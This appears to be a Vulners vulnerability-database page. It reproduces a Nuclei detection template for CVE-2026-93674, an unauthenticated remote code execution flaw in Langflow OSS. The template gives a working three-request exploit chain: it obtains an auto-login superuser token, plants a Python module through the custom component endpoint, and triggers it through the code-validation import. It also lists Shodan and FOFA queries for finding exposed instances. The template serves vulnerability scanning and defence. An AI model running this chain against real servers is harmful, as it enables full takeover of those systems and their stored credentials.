Langflow OSS <=1.12.2 - Unauthenticated RCE via Import Code Execution
| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| CVE-2026-93674 | 22 Sep 202603:00 | – | circl | |
| CVE-2026-93674 | 7 Oct 202600:00 | – | cve | |
| CVE-2026-93674 Langflow OSS is affected by multiple vulnerabilities | 7 Oct 202600:00 | – | cvelist | |
| Exploit for CVE-2026-93674 | 22 Sep 202601:54 | – | githubexploit | |
| Security Bulletin: Langflow OSS is affected by multiple vulnerabilities | 2 Oct 202616:31 | – | ibm | |
| EUVD-2026-94119 | 7 Oct 202600:00 | – | euvd | |
| POC-CVE-2026-93674 | 6 Oct 202611:10 | – | kitploit | |
| CVE-2026-93674 | 7 Oct 202600:00 | – | mend | |
| CVE-2026-93674 | 7 Oct 202601:16 | – | nvd | |
| PT-2026-107254 | 6 Oct 202600:00 | – | ptsecurity |
10
id: CVE-2026-93674
info:
name: Langflow OSS <=1.12.2 - Unauthenticated RCE via Import Code Execution
author: DhiyaneshDk
severity: critical
description: |
Langflow OSS 1.0.0 through 1.12.2 is vulnerable to unauthenticated remote code execution via the POST /api/v1/validate/code endpoint, which calls importlib.import_module() on user-supplied import statements, executing module top-level code instead of merely validating syntax.
Combined with the default LANGFLOW_AUTO_LOGIN=true configuration (which issues a superuser JWT from GET /api/v1/auto_login with no credentials) and the custom_component exec() sink (POST /api/v1/custom_component, which can plant arbitrary Python modules into site-packages), a remote unauthenticated attacker achieves arbitrary OS command execution.
Fixed in 1.12.3 by replacing importlib.import_module() with importlib.util.find_spec() (commit 461506ac2f).
impact: |
Complete system compromise. An unauthenticated attacker can execute arbitrary OS commands with the privileges of the Langflow service account, leading to full control over flows, stored credentials, global variables, and any data accessible to the service.
remediation: |
Upgrade to Langflow OSS 1.12.3 or later. As a temporary mitigation, set LANGFLOW_AUTO_LOGIN=false with strong superuser credentials and restrict network access to the Langflow instance.
reference:
- https://www.pruva.dev/reproductions/REPRO-2026-00381
- https://github.com/langflow-ai/langflow
- https://github.com/langflow-ai/langflow/commit/461506ac2f38f70a994b5140572b876448c11e4c
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-93674
epss-score: 0.02662
epss-percentile: 0.85304
cwe-id: CWE-94
metadata:
verified: true
max-request: 3
vendor: langflow-ai
product: langflow
shodan-query: html:"Langflow"
fofa-query: body="Langflow"
tags: cve,cve2026,langflow,rce,code-injection,unauth,intrusive
variables:
module: "nprobe{{rand_text_alpha(8)}}"
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
GET /api/v1/auto_login HTTP/1.1
Host: {{Hostname}}
Accept: application/json
extractors:
- type: json
name: token
json:
- '.access_token'
internal: true
matchers:
- type: dsl
dsl:
- 'contains(body, "access_token")'
internal: true
- raw:
- |
POST /api/v1/custom_component HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Authorization: Bearer {{token}}
{"code":"from langflow.custom import CustomComponent\nimport pathlib,site\nclass P(CustomComponent):\n _=pathlib.Path(site.getsitepackages()[0]+'/{{module}}.py').write_text('import time;time.sleep(8)')"}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
internal: true
- raw:
- |
POST /api/v1/validate/code HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Authorization: Bearer {{token}}
{"code":"import {{module}}"}
matchers:
- type: dsl
dsl:
- 'duration >= 8'
- 'status_code == 200'
condition: and
# digest: 490a00463044021f3a2408f0ae1411506d70e6e7fd6e37987d9115e65dab60734844b8fcbfa33c022100e6c229ec09b8d19b36cc08b1090842fa26d6b5d29dc783a82950727ef3529b32:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
09 Oct 2026 11:43Current
6.5Medium risk
Vulners AI Score6.5
CVSS 3.19.8
EPSS0.02662
SSVC